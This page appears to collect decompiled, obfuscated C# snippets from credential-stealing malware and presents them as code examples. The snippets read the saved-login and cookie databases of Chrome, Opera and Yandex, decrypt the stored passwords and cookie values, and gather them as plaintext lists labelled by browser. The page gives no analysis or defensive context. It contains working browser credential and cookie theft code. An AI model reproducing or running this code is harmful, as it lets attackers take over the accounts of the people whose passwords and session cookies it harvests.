Beispiel #1
0
    // Token: 0x060004BB RID: 1211 RVA: 0x00010908 File Offset: 0x0000EB08
    public static List <GClass32> smethod_0(string datapath, string browser)
    {
        List <GClass32> list   = new List <GClass32>();
        GClass33        gclass = null;

        if (!File.Exists(datapath))
        {
            return(list);
        }
        List <GClass32> result;

        try
        {
            gclass = new GClass33(datapath);
            goto IL_24;
        }
        catch (Exception)
        {
            result = list;
        }
        return(result);

IL_24:
        if (!gclass.method_9("logins"))
        {
            return(list);
        }
        int num = gclass.method_2();

        for (int i = 0; i < num; i++)
        {
            try
            {
                string text  = gclass.method_5(i, "origin_url");
                string text2 = gclass.method_5(i, "username_value");
                string text3 = GClass29.smethod_2(gclass.method_5(i, "password_value"));
                if (!string.IsNullOrEmpty(text) && !string.IsNullOrEmpty(text2) && text3 != null)
                {
                    list.Add(new GClass32
                    {
                        URL         = text,
                        Username    = text2,
                        Password    = text3,
                        Application = browser
                    });
                }
            }
            catch (Exception)
            {
            }
        }
        return(list);
    }
Beispiel #2
0
        // Token: 0x06000537 RID: 1335 RVA: 0x00012A6C File Offset: 0x00010C6C
        public static List <GClass29.GClass30> GetSavedCookies()
        {
            List <GClass29.GClass30> result;

            try
            {
                string dataPath = Path.Combine(Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData), "Opera Software\\Opera Stable\\Cookies");
                result = GClass29.smethod_1(dataPath, "Opera");
            }
            catch (Exception)
            {
                result = new List <GClass29.GClass30>();
            }
            return(result);
        }
Beispiel #3
0
        // Token: 0x06000536 RID: 1334 RVA: 0x00012A24 File Offset: 0x00010C24
        public static List <GClass32> GetSavedPasswords()
        {
            List <GClass32> result;

            try
            {
                string datapath = Path.Combine(Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData), "Opera Software\\Opera Stable\\Login Data");
                result = GClass29.smethod_0(datapath, "Opera");
            }
            catch (Exception)
            {
                result = new List <GClass32>();
            }
            return(result);
        }
Beispiel #4
0
        // Token: 0x06000456 RID: 1110 RVA: 0x00010008 File Offset: 0x0000E208
        public static List <GClass29.GClass30> GetSavedCookies()
        {
            List <GClass29.GClass30> result;

            try
            {
                string dataPath = Path.Combine(Environment.GetFolderPath(Environment.SpecialFolder.LocalApplicationData), "Google\\Chrome\\User Data\\Default\\Cookies");
                result = GClass29.smethod_1(dataPath, "Chrome");
            }
            catch (Exception)
            {
                result = new List <GClass29.GClass30>();
            }
            return(result);
        }
Beispiel #5
0
        // Token: 0x06000539 RID: 1337 RVA: 0x00012AB4 File Offset: 0x00010CB4
        public static List <GClass32> GetSavedPasswords()
        {
            List <GClass32> result;

            try
            {
                string datapath = Path.Combine(Environment.GetFolderPath(Environment.SpecialFolder.LocalApplicationData), "Yandex\\YandexBrowser\\User Data\\Default\\Login Data");
                result = GClass29.smethod_0(datapath, "Yandex");
            }
            catch (Exception)
            {
                result = new List <GClass32>();
            }
            return(result);
        }
Beispiel #6
0
    // Token: 0x060004BC RID: 1212 RVA: 0x00010A00 File Offset: 0x0000EC00
    public static List <GClass29.GClass30> smethod_1(string dataPath, string browser)
    {
        List <GClass29.GClass30> list = new List <GClass29.GClass30>();
        GClass33 gclass = null;

        if (!File.Exists(dataPath))
        {
            return(list);
        }
        List <GClass29.GClass30> result;

        try
        {
            gclass = new GClass33(dataPath);
            goto IL_26;
        }
        catch (Exception)
        {
            result = list;
        }
        return(result);

IL_26:
        if (!gclass.method_9("cookies"))
        {
            return(list);
        }
        int num = gclass.method_2();

        for (int i = 0; i < num; i++)
        {
            try
            {
                string text          = gclass.method_5(i, "host_key");
                string text2         = gclass.method_5(i, "name");
                string value         = GClass29.smethod_2(gclass.method_5(i, "encrypted_value"));
                string path          = gclass.method_5(i, "path");
                string expiresUTC    = gclass.method_5(i, "expires_utc");
                string lastAccessUTC = gclass.method_5(i, "last_access_utc");
                bool   secure        = gclass.method_5(i, "secure") == "1";
                bool   httpOnly      = gclass.method_5(i, "httponly") == "1";
                bool   expired       = gclass.method_5(i, "has_expired") == "1";
                bool   persistent    = gclass.method_5(i, "persistent") == "1";
                bool   priority      = gclass.method_5(i, "priority") == "1";
                if (!string.IsNullOrEmpty(text) && !string.IsNullOrEmpty(text2) && !string.IsNullOrEmpty(value))
                {
                    list.Add(new GClass29.GClass30
                    {
                        HostKey       = text,
                        Name          = text2,
                        Value         = value,
                        Path          = path,
                        ExpiresUTC    = expiresUTC,
                        LastAccessUTC = lastAccessUTC,
                        Secure        = secure,
                        HttpOnly      = httpOnly,
                        Expired       = expired,
                        Persistent    = persistent,
                        Priority      = priority,
                        Browser       = browser
                    });
                }
            }
            catch (Exception)
            {
            }
        }
        return(list);
    }